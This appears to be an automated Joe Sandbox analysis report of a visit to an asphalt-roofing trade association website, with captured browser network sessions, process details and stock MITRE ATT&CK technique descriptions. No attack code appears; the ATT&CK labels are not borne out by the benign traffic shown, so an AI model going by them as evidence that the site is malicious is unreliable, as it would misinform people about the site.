2024-04-23 14:54:52 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:52 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:52 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:52 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:52 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.6	50244	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	932	OUT	GET /security.js?v=1713884090256 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884090256 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:52 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:52 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.6	50250	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	954	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:53 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=115, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.6	50251	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	991	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:53 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:53 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:53 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.6	50252	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 53 48 4c 34 56 72 75 34 6b 36 49 45 62 34 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 38 66 65 62 35 34 32 39 64 62 30 38 30 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rSHL4Vru4k6IEb4n.1Context: ae8feb5429db080b
2024-04-23 14:54:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:54:59 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 72 53 48 4c 34 56 72 75 34 6b 36 49 45 62 34 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 38 66 65 62 35 34 32 39 64 62 30 38 30 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: rSHL4Vru4k6IEb4n.2Context: ae8feb5429db080b<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:54:59 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 53 48 4c 34 56 72 75 34 6b 36 49 45 62 34 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 38 66 65 62 35 34 32 39 64 62 30 38 30 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rSHL4Vru4k6IEb4n.3Context: ae8feb5429db080b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:54:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:54:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 5a 67 6d 72 72 42 74 44 30 65 6b 64 4a 41 75 50 50 58 76 69 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4ZgmrrBtD0ekdJAuPPXviw.0Payload parsing failed.

Target ID:	0
Start time:	16:53:30
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:53:34
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2220,i,10817936137381034529,2342672398498083502,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	16:53:37
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.asphaltroofing.org"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.asphaltroofing.org

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 234

Chrome Cache Entry: 235

Chrome Cache Entry: 236

Chrome Cache Entry: 237

Chrome Cache Entry: 238

Chrome Cache Entry: 239

Chrome Cache Entry: 240

Chrome Cache Entry: 241

Chrome Cache Entry: 242

Chrome Cache Entry: 243

Chrome Cache Entry: 244

Chrome Cache Entry: 245

Chrome Cache Entry: 246

Chrome Cache Entry: 247

Chrome Cache Entry: 248

Chrome Cache Entry: 249

Chrome Cache Entry: 250

Chrome Cache Entry: 251

Chrome Cache Entry: 252

Chrome Cache Entry: 253

Chrome Cache Entry: 254

Chrome Cache Entry: 255

Chrome Cache Entry: 256

Chrome Cache Entry: 257

Chrome Cache Entry: 258

Chrome Cache Entry: 259

Chrome Cache Entry: 260

Chrome Cache Entry: 261

Windows Analysis Report
http://www.asphaltroofing.org